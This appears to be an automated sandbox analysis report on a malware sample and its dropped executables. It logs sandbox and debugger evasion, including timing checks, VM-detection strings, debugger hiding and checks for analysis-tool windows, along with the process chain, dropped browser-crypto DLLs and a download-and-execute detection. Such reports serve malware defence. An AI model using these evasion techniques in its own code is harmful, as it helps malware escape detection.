Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 4805AD second address: 4805B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 4805B1 second address: 4805B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 4816A0 second address: 4816DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4F7D4AED28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4F7D4AED28h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 482A85 second address: 482A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 482A8D second address: 482AA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4F7D4AED1Ch 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 482AA2 second address: 482AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F4F7C812076h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 482AAF second address: 482AB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 445E7F second address: 445E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F4F7C812076h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 445E8A second address: 445E8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 445E8F second address: 445E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	RDTSC instruction interceptor: First address: 440D08 second address: 440D0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5C5701 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5EF627 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Special instruction interceptor: First address: 2DEBC4 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Special instruction interceptor: First address: 481526 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Special instruction interceptor: First address: 50AD9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BBEBC4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D61526 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DEAD9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Special instruction interceptor: First address: D65701 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Special instruction interceptor: First address: D8F627 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Special instruction interceptor: First address: 3D48D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Special instruction interceptor: First address: 3FA99B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Special instruction interceptor: First address: 23DDF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Special instruction interceptor: First address: 24403A instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Memory allocated: 4D20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Memory allocated: 50E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Memory allocated: 4EF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Memory allocated: 4B30000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Memory allocated: 4BA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Memory allocated: 6BA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Memory allocated: 5270000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Memory allocated: 5430000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Memory allocated: 7430000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsJJKEBGHJKF.exe

Code function: 9_2_053107BA rdtsc

9_2_053107BA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Window / User API: threadDelayed 417

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 928	Thread sleep count: 69 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 928	Thread sleep time: -138069s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7884	Thread sleep count: 51 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7884	Thread sleep time: -102051s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4412	Thread sleep count: 417 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4412	Thread sleep time: -12510000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep count: 49 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep time: -98049s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1900	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7896	Thread sleep count: 68 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7896	Thread sleep time: -136068s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7888	Thread sleep count: 65 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7888	Thread sleep time: -130065s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4412	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe TID: 7932	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe TID: 7476	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe TID: 7952	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsJJKEBGHJKF.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7E5070 strlen,PR_SetError,strcpy,_mbsdec,strlen,_mbsinc,_mbsinc,FindFirstFileA,GetLastError,

0_2_6C7E5070

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6CEBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C6CEBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1982982996.00000000005A4000.00000040.00000001.01000000.00000003.sdmp, DocumentsJJKEBGHJKF.exe, 00000009.00000002.2033105580.000000000045F000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.2028136997.0000000000D3F000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000B.00000002.2052790343.0000000000D3F000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000C.00000002.2904603433.0000000000D3F000.00000040.00000001.01000000.0000000E.sdmp, 2012aae27e.exe, 0000000E.00000002.2569694454.0000000000D44000.00000040.00000001.01000000.0000000F.sdmp, b617b009b1.exe, 00000010.00000002.2766624788.00000000003B6000.00000040.00000001.01000000.00000010.sdmp, b617b009b1.exe, 00000011.00000002.2805759855.00000000003B6000.00000040.00000001.01000000.00000010.sdmp, b617b009b1.exe, 00000012.00000002.2882474297.00000000003B6000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1987019015.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareg
Source: skotes.exe, 0000000C.00000002.2906621751.0000000001308000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPB>\
Source: file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000002.2013261737.0000000023712000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 2012aae27e.exe, 0000000E.00000002.2571550007.000000000169E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1987019015.0000000001318000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001335000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1987019015.0000000001306000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000C.00000002.2906621751.0000000001308000.00000004.00000020.00020000.00000000.sdmp, 2012aae27e.exe, 0000000E.00000002.2571550007.0000000001713000.00000004.00000020.00020000.00000000.sdmp, 2012aae27e.exe, 0000000E.00000002.2571550007.00000000016E2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1982982996.00000000005A4000.00000040.00000001.01000000.00000003.sdmp, DocumentsJJKEBGHJKF.exe, 00000009.00000002.2033105580.000000000045F000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.2028136997.0000000000D3F000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000B.00000002.2052790343.0000000000D3F000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000C.00000002.2904603433.0000000000D3F000.00000040.00000001.01000000.0000000E.sdmp, 2012aae27e.exe, 0000000E.00000002.2569694454.0000000000D44000.00000040.00000001.01000000.0000000F.sdmp, b617b009b1.exe, 00000010.00000002.2766624788.00000000003B6000.00000040.00000001.01000000.00000010.sdmp, b617b009b1.exe, 00000011.00000002.2805759855.00000000003B6000.00000040.00000001.01000000.00000010.sdmp, b617b009b1.exe, 00000012.00000002.2882474297.00000000003B6000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 0000000C.00000002.2906621751.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsJJKEBGHJKF.exe

Code function: 9_2_053107BA rdtsc

9_2_053107BA

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C79AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C79AC62

Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_002A652B mov eax, dword ptr fs:[00000030h]	9_2_002A652B
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Code function: 9_2_002AA302 mov eax, dword ptr fs:[00000030h]	9_2_002AA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00B8A302 mov eax, dword ptr fs:[00000030h]	10_2_00B8A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00B8652B mov eax, dword ptr fs:[00000030h]	10_2_00B8652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00B8A302 mov eax, dword ptr fs:[00000030h]	11_2_00B8A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00B8652B mov eax, dword ptr fs:[00000030h]	11_2_00B8652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B8A302 mov eax, dword ptr fs:[00000030h]	12_2_00B8A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00B8652B mov eax, dword ptr fs:[00000030h]	12_2_00B8652B

Source: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C79AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C79AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2012aae27e.exe PID: 7164, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJJKEBGHJKF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJJKEBGHJKF.exe "C:\Users\user\DocumentsJJKEBGHJKF.exe"	Jump to behavior
Source: C:\Users\user\DocumentsJJKEBGHJKF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe "C:\Users\user\AppData\Local\Temp\1005761001\2012aae27e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe "C:\Users\user\AppData\Local\Temp\1005763001\b617b009b1.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7E4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C7E4760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6C1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C6C1C30

Source: DocumentsJJKEBGHJKF.exe, 00000009.00000002.2033446251.00000000004A4000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000A.00000002.2028343794.0000000000D84000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000B.00000002.2053080646.0000000000D84000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Program Manager
Source: b617b009b1.exe, 00000010.00000002.2766875262.00000000003FA000.00000040.00000001.01000000.00000010.sdmp, b617b009b1.exe, 00000012.00000002.2882607292.00000000003FA000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: )w;[Program Manager
Source: b617b009b1.exe, 00000010.00000002.2766875262.00000000003FA000.00000040.00000001.01000000.00000010.sdmp, b617b009b1.exe, 00000012.00000002.2882607292.00000000003FA000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: o)w;[Program Manager
Source: file.exe, file.exe, 00000000.00000002.1982982996.00000000005A4000.00000040.00000001.01000000.00000003.sdmp, 2012aae27e.exe, 0000000E.00000002.2569694454.0000000000D44000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: (Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C79AE71 cpuid

0_2_6C79AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
